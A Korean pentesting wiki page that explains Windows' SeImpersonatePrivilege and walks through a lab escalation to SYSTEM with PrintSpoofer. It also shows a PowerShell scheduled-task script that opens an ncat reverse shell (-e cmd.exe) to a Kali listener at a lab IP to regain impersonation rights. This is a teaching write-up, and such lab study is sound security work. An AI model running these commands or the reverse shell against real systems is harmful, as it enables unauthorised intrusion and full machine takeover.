펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page
  • Practice
  • References

Was this helpful?

Export as PDF
  1. 권한 상승
  2. Windows

SeImpersonatePrivilege

PreviousWindowsNextUnquoted Service Path

Last updated 1 month ago

Was this helpful?

SeImpersonatePrivilege는 직역하여 클라이언트 가장 권한입니다. 가장 권한이란 서버가 클라이언트의 권한을 가진 채로 클라이언트인 것처럼 특정 서비스를 이용하거나 요청을 보낼 수 있는 권한으로 일반적으로는 서비스, 시스템 계정 등에 부여가 되는 권한입니다.

예를 들어 파일 서버가 클라이언트의 요청에 따라 파일을 읽거나 수정할 때, 클라이언트의 권한으로 접근하는 것이 필요하기도 하며 웹 서버에서 사용자 권한으로 자원에 접근하려는 경우처럼, 요청하는 사용자의 권한을 이용해 작업을 처리하는 것이 더 안전하고 권한 분리를 보장합니다.

이 권한을 통한 권한상승 공격을 방어하기 위해서는 필수 계정에만 할당하는 것이 중요하며 서비스 계정을 별도로 분리하여 엄격히 다루는 것이 중요합니다.

Practice

whoami /priv를 통해서 가진 권한 목록을 확인할 수 있으며 현재 사용자에게는 SeImpersonatePrivilege 권한이 있는 것이 확인됩니다.

C:\Windows\Temp>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

아래 깃허브 링크를 통해서 실행파일을 설치한 뒤에 Windows 환경으로 옮긴후 실행해줍니다. 파일 실행 후에는 system 권한을 획득한 것을 확인할 수 있습니다.

PrintSpoofer64.exe -i -c cmd
C:\Windows\Temp>PrintSpoofer.exe -i -c cmd
PrintSpoofer.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

SeImpersonatePrivilege 권한이 없는 상태에서 강제적으로 이 권한을 부여한 사용자를 생성한 뒤에, 그 사용자의 권한으로 리버스 쉘을 연결하여 권한상승을 하는 실습을 진행하겠습니다. 실습을 위해 Kali 환경에서 nc 포트를 열어두고 Windows 파워쉘에서 리버스쉘 코드를 통해서 ncat을 통해 쉘을 연결시켜줍니다.

PS C:\Users\yeonu> whoami /priv
whoami /priv

----------------------
                                                                                         
========================================= ======================================================== ==========
SeIncreaseQuotaPrivilege                                                
SeTakeOwnershipPrivilege                                      
SeLoadDriverPrivilege                                                         
SeSystemtimePrivilege                                                         
SeProfileSingleProcessPrivilege                                           
SeIncreaseBasePriorityPrivilege                                             

현재 사용자의 쉘에서는 SeImpersonatePrivilege 권한이 없는 것이 확인되었습니다. 하지만 스케줄 생성/실행 권한만 있다면 이 권한을 부여하는 것이 가능합니다. 먼저 Windows 환경에서 ncat 등과 같이 쉘 연결이 가능한 프로그램의 위치를 찾은 후 리버스쉘 명령어를 파워쉘 인자 부분에 삽입합니다.

[System.String[]]$Privs = "SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", "SeImpersonatePrivilege", "SeIncreaseWorkingSetPrivilege"
$TaskPrincipal = New-ScheduledTaskPrincipal -UserId "LOCALSERVICE" -LogonType ServiceAccount -RequiredPrivilege $Privs
$TaskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Exec Bypass -command ""& 'C:\Program Files (x86)\Nmap\ncat' 192.168.200.132 8888 -e cmd.exe"""
Register-ScheduledTask -Action $TaskAction -TaskName "ReverseShell" -Principal $TaskPrincipal
Start-ScheduledTask -TaskName "ReverseShell"

이 코드는 아래의 기본적인 권한을 하나의 배열로 담아줍니다.

  • SeAssignPrimaryTokenPrivilege

  • SeAuditPrivilege

  • SeChangeNotifyPrivilege

  • SeCreateGlobalPrivilege

  • SeImpersonatePrivilege

  • SeIncreaseWorkingSetPrivilege

그리고 이 배열을 사용자의 소유 권한으로 지정하기 위해 새로운 사용자를 생성하는데 사용자의 이름은 LOCALSERVICE로 지정합니다. 로그온 타입은 서비스 계정이며 권한은 지정한 배열을 삽입해줍니다. 그리고 새로운 스케줄을 생성해주는데, 그 스케줄은 파워쉘을 실행시켜서 ncat을 통해 원격 접속을 cmd.exe로 연결하게끔 하는 스케줄입니다. 마지막으로 스케줄을 등록할 때 스케줄의 실행 주체는 최소 권한을 가지는 Local Service 계정으로 실행합니다.

┌──(root㉿kali)-[~/Pentest/Scripts]
└─# nc -lvnp 8888
listening on [any] 8888 ...
connect to [192.168.200.132] from (UNKNOWN) [192.168.200.1] 57659
Microsoft Windows [Version 10.0.26100.2161]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\System32>whoami /priv
whoami /priv

  
----------------------

                                              
============================= ========================= ==========
SeAssignPrimaryTokenPrivilege μ  ū ٲٱ   
SeAuditPrivilege                              
SeChangeNotifyPrivilege       Ʈ ˻               
SeImpersonatePrivilege          Ŭ          
SeCreateGlobalPrivilege        ü                 
SeIncreaseWorkingSetPrivilege μ ۾  
C:\Windows\System32>whoami
whoami
nt authority\local service

연결된 쉘에서는 whoami /priv를 사용했을 때 [System.String[]]$Privs 변수에 삽입했던 권한들이 부여된 것이 확인됩니다. 또한 우리가 이 사용자로 연결할 때 명명한 LOCALSERVICE 라는 계정 이름이 whoami의 결과에서 확인됩니다.

References

GitHub - itm4n/PrintSpoofer: Abusing Impersonation Privileges on Windows 10 and Server 2019GitHub
GitHub - itm4n/PrintSpoofer: Abusing Impersonation Privileges on Windows 10 and Server 2019GitHub
10. Squid (WARM UP) - Windows (2)* privileges / PrintSpoofer64TISTORY
Logo
Logo
Logo